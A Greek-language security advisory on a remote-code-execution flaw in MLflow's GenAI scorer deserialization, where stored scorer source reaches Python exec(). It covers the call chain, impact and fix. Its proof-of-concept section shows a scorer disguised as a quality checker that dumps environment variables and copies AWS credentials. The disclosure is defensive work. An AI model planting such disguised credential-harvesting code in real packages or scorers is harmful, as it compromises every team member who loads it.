Συντάκτης: Evan Harris
Κίνδυνος: Υψηλός
Επηρεαζόμενο στοιχείο: GenAI scorers του MLflow (mlflow/mlflow)

Με λίγα λόγια

Ο μηχανισμός αποσειριοποίησης των GenAI scorers στο MLflow περιείχε μια ευπάθεια απομακρυσμένης εκτέλεσης κώδικα. Η βοηθητική συνάρτηση recreate_function() στο scorer_utils.py περνούσε δεδομένα scorer ελεγχόμενα από τον επιτιθέμενο (αποθηκευμένα στη βάση δεδομένων παρακολούθησης του MLflow) απευθείας στην exec() της Python. Ένας κακόβουλος scorer που καταχωρίστηκε από έναν χρήστη εκτελεί αυθαίρετο κώδικα στο μηχάνημα οποιουδήποτε τον ανακτήσει και τον εκτελέσει αργότερα, καθιστώντας δυνατή μια επίθεση εφοδιαστικής αλυσίδας σε ολόκληρη μια ομάδα ML. Αναφέραμε το ζήτημα στους συντηρητές του MLflow, οι οποίοι το διόρθωσαν περιορίζοντας την καταχώριση και τη φόρτωση προσαρμοσμένων scorers σε περιβάλλοντα ελεγχόμενα από τη Databricks. Οι χρήστες θα πρέπει να αναβαθμίσουν σε MLflow 3.5.2 ή νεότερη έκδοση.

Ιστορικό

Το άρθρωμα GenAI του MLflow επιτρέπει στις ομάδες να ορίζουν scorers, συναρτήσεις Python που αξιολογούν την ποιότητα των εξόδων LLM (έλεγχοι μήκους, ασφάλεια περιεχομένου, μορφοποίηση κ.ο.κ.). Οι scorers μπορούν να συγγραφούν με τον διακοσμητή @scorer, να καταχωριστούν έναντι ενός πειράματος και να ανακτηθούν αργότερα με το όνομά τους μέσω της get_scorer(), ώστε οι συνεργάτες να μπορούν να επαναχρησιμοποιήσουν μια κοινή αξιολόγηση.

Για να λειτουργεί αυτό, το MLflow σειριοποιεί την υποκείμενη συνάρτηση του scorer και την αποθηκεύει στη βάση δεδομένων παρακολούθησης. Όταν ο scorer ανακτάται, το MLflow ανακατασκευάζει τη συνάρτηση από αυτά τα αποθηκευμένα δεδομένα. Το βήμα της ανακατασκευής είναι εκεί όπου βρισκόταν η ευπάθεια: ο σειριοποιημένος πηγαίος κώδικας ανασυγκροτούνταν με κλήση της exec() της Python, η οποία εκτελεί όποιον κώδικα της δοθεί. Επειδή τα αποθηκευμένα δεδομένα ελέγχονται πλήρως από τον επιτιθέμενο, οποιοσδήποτε μπορούσε να καταχωρίσει έναν scorer μπορούσε να φυτέψει κώδικα που θα εκτελούνταν μέσα στη διεργασία άλλου χρήστη.

Επισκόπηση

Η ευπάθεια πυροδοτείται κατά μήκος μιας ενιαίας αλυσίδας κλήσεων αποσειριοποίησης που καταλήγει στην exec():

%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
    A[Attacker authors malicious @scorer
with payload hidden in the body] --> B[Distributed via PyPI, GitHub,
or shared Python module] B --> C[Victim imports and registers
the scorer with MLflow] C --> D[Serialized function stored in
tracking database] D --> E["get_scorer(name, experiment_id)
registry.py:571"] E --> F["Scorer.model_validate()
base.py:222"] F --> G["_reconstruct_decorator_scorer()
base.py:298"] G --> H["recreate_function()
scorer_utils.py:131"] H --> I["exec(attacker_source)"] I --> J[Remote Code Execution
in victim process] style A fill:#ffebee style B fill:#ffebee style C fill:#fff3e0 style D fill:#fff9c4 style E fill:#fff9c4 style F fill:#fff9c4 style G fill:#fff9c4 style H fill:#ffcdd2 style I fill:#ffcdd2 style J fill:#ffcdd2

Η αλυσίδα κλήσεων είναι η εξής:

mlflow.genai.scorers.get_scorer()
  → Scorer.model_validate()        # registry.py:571
  → _reconstruct_decorator_scorer() # base.py:222
  → recreate_function()             # base.py:298
  → exec()                          # scorer_utils.py:131  ← REMOTE CODE EXECUTION

Σενάριο επίθεσης

  1. Ένας επιτιθέμενος συγγράφει έναν scorer που φαίνεται νόμιμος (έναν «ελεγκτή ποιότητας» με πειστική συμβολοσειρά τεκμηρίωσης), αλλά κρύβει ένα κακόβουλο ωφέλιμο φορτίο στο σώμα της συνάρτησης.
  2. Ο επιτιθέμενος διανέμει τον scorer μέσω ενός καναλιού που εμπιστεύεται το θύμα: ενός πακέτου PyPI, ενός αποθετηρίου GitHub της ομάδας ή ενός κοινόχρηστου αρθρώματος Python.
  3. Ένα θύμα εισάγει τον scorer και τον καταχωρίζει στο MLflow. Η σειριοποιημένη συνάρτηση γράφεται στη βάση δεδομένων παρακολούθησης.
  4. Αργότερα, ενδεχομένως σε διαφορετικό μηχάνημα, από διαφορετικό μέλος της ομάδας, ημέρες ή εβδομάδες μετά, κάποιος ανακτά τον scorer με την get_scorer() και τον χρησιμοποιεί.
  5. Κατά την αποσειριοποίηση, η recreate_function() καλεί την exec() στον αποθηκευμένο πηγαίο κώδικα. Το κρυμμένο ωφέλιμο φορτίο εκτελείται με τα πλήρη προνόμια της διεργασίας του θύματος.

Επειδή η πυροδότηση είναι αποσυζευγμένη στον χρόνο και μεταξύ χρηστών από την καταχώριση, η επίθεση είναι σιωπηλή: ένας μοναδικός κακόβουλος scorer που καταχωρίζεται μία φορά μπορεί να θέσει σε κίνδυνο όλους στην ομάδα που θα τον αντλήσουν αργότερα.

Απόδειξη ιδέας

Ο παρακάτω κακόβουλος scorer παρουσιάζεται ως ελεγκτής ποιότητας εξόδου. Το σώμα του περιέχει ένα ωφέλιμο φορτίο που αφήνει ένα αρχείο-δείκτη, εξάγει μεταβλητές περιβάλλοντος και συλλέγει διαπιστευτήρια AWS πριν επιστρέψει ένα πειστικό αποτέλεσμα ώστε να μην εγείρει υποψίες:

from mlflow.genai.scorers import scorer

@scorer
def quality_checker(outputs):
    """
    Quality checker for LLM outputs.

    Validates that outputs meet quality standards:
    - Minimum length requirements
    - No offensive content
    - Proper formatting

    Returns:
        bool: True if output passes quality checks
    """
    # MALICIOUS PAYLOAD HIDDEN BELOW
    import os

    # Create proof file
    os.system('touch /tmp/rce_supply_chain.txt')
    os.system('echo "COMPROMISED VIA SUPPLY CHAIN" > /tmp/rce_supply_chain.txt')

    # Exfiltrate environment variables
    env_data = dict(os.environ)
    with open('/tmp/exfiltrated_env.txt', 'w') as f:
        f.write("EXFILTRATED ENVIRONMENT:\n")
        for key, value in list(env_data.items())[:10]:
            f.write(f'{key}={value}\n')

    # Harvest AWS credentials
    aws_creds_path = os.path.expanduser('~/.aws/credentials')
    if os.path.exists(aws_creds_path):
        with open(aws_creds_path, 'r') as f_in:
            with open('/tmp/aws_credentials_stolen.txt', 'w') as f_out:
                f_out.write(f_in.read())

    # Return a valid result to avoid suspicion
    return len(outputs) > 10

Το θύμα ανακτά τον κοινόχρηστο scorer όπως θα έκανε συνήθως:

import mlflow
from mlflow.genai.scorers import get_scorer

# Different machine, different user, or days later
mlflow.set_tracking_uri("sqlite:///mlflow_tracking/mlflow.db")

scorer = get_scorer(name="quality_checker_v1", experiment_id="1")

Και στη συνέχεια τον χρησιμοποιεί:

result = scorer(outputs="This is test output to evaluate")

Σε αυτό το σημείο πυροδοτείται το RCE και το ωφέλιμο φορτίο εκτελείται στη διεργασία του θύματος.

Αντίκτυπος

Ανάλογα με το ωφέλιμο φορτίο που μεταφέρεται στα μη έμπιστα δεδομένα του scorer, ένας επιτιθέμενος μπορεί να:

  • Εκτελέσει αυθαίρετο κώδικα Python με τα πλήρη προνόμια της διεργασίας του θύματος
  • Εξαγάγει ευαίσθητα δεδομένα όπως διαπιστευτήρια, μεταβλητές περιβάλλοντος και πηγαίο κώδικα
  • Συλλέξει διαπιστευτήρια από συνήθεις τοποθεσίες (AWS, Docker, SSH)
  • Εδραιώσει μονιμότητα στο μηχάνημα του θύματος
  • Εκτελέσει πλευρική μετακίνηση και δικτυακή αναγνώριση

Ο αντίκτυπος ενισχύεται από τη φύση της αδυναμίας που σχετίζεται με την εφοδιαστική αλυσίδα: ένας μοναδικός κακόβουλος scorer που καταχωρίζεται από ένα μόνο μέλος της ομάδας μπορεί να θέσει σε κίνδυνο κάθε χρήστη που θα τον ανακτήσει αργότερα, με την πυροδότηση να συμβαίνει σιωπηλά πολύ μετά την καταχώριση.

Απόκριση του MLflow

Αφότου γνωστοποιήσαμε το ζήτημα μέσω της διαδικασίας συντονισμένης γνωστοποίησης του MLflow, οι συντηρητές το αντιμετώπισαν στο pull request #18493.

Αντί να επιχειρήσουν να απομονώσουν (sandbox) ή να επικυρώσουν τον αποσειριοποιημένο πηγαίο κώδικα, οι συντηρητές αφαίρεσαν την επικίνδυνη δυνατότητα εκτός ελεγχόμενων περιβαλλόντων: η καταχώριση και η φόρτωση προσαρμοσμένων scorers βασισμένων σε κώδικα περιορίζεται πλέον σε περιβάλλοντα παρακολούθησης της Databricks, όπου το σύνολο των χρηστών που μπορούν να ανεβάσουν scorers είναι ελεγχόμενο. Οι χρήστες σε άλλα backend παρακολούθησης κατευθύνονται προς ασφαλέστερες εναλλακτικές, όπως ενσωματωμένους scorers και scorers βασισμένους στην make_judge(), οι οποίοι δεν απαιτούν εκτέλεση αυθαίρετου κώδικα κατά την αποσειριοποίηση.

Η διόρθωση κυκλοφόρησε στο MLflow 3.5.2.

Συστάσεις

Για τελικούς χρήστες

  • Αναβαθμίστε σε MLflow 3.5.2 ή νεότερη έκδοση.
  • Καταχωρίζετε και ανακτάτε προσαρμοσμένους scorers μόνο από πηγές που εμπιστεύεστε πλήρως.
  • Αντιμετωπίζετε τα δεδομένα scorer σε μια βάση δεδομένων παρακολούθησης ως μη έμπιστο κώδικα, όχι ως αδρανή δεδομένα. Οποιοσδήποτε μπορεί να γράψει στο αποθετήριο παρακολούθησης μπορεί να εκτελέσει κώδικα σε κάθε καταναλωτή.
  • Προτιμήστε ενσωματωμένους scorers ή scorers make_judge(), οι οποίοι δεν εκτελούν αυθαίρετο κώδικα κατά την αποσειριοποίηση.
  • Περιορίστε την πρόσβαση εγγραφής σε κοινόχρηστες βάσεις δεδομένων παρακολούθησης και ελέγχετε τους scorers πριν την επαναχρησιμοποίηση εντός μιας ομάδας.

Χρονολόγιο

Ημερομηνία Γεγονός
20 Οκτωβρίου 2025 Η ευπάθεια αναφέρθηκε στους συντηρητές του MLflow μέσω συντονισμένης γνωστοποίησης (issue #18404)
24 Οκτωβρίου 2025 Το MLflow ενσωματώνει τη διόρθωση (PR #18493), που κυκλοφόρησε στην v3.5.2
8 Ιανουαρίου 2026 Το huntr σημείωσε το ζήτημα ως διπλότυπο
8 Ιουνίου 2026 Δημόσια γνωστοποίηση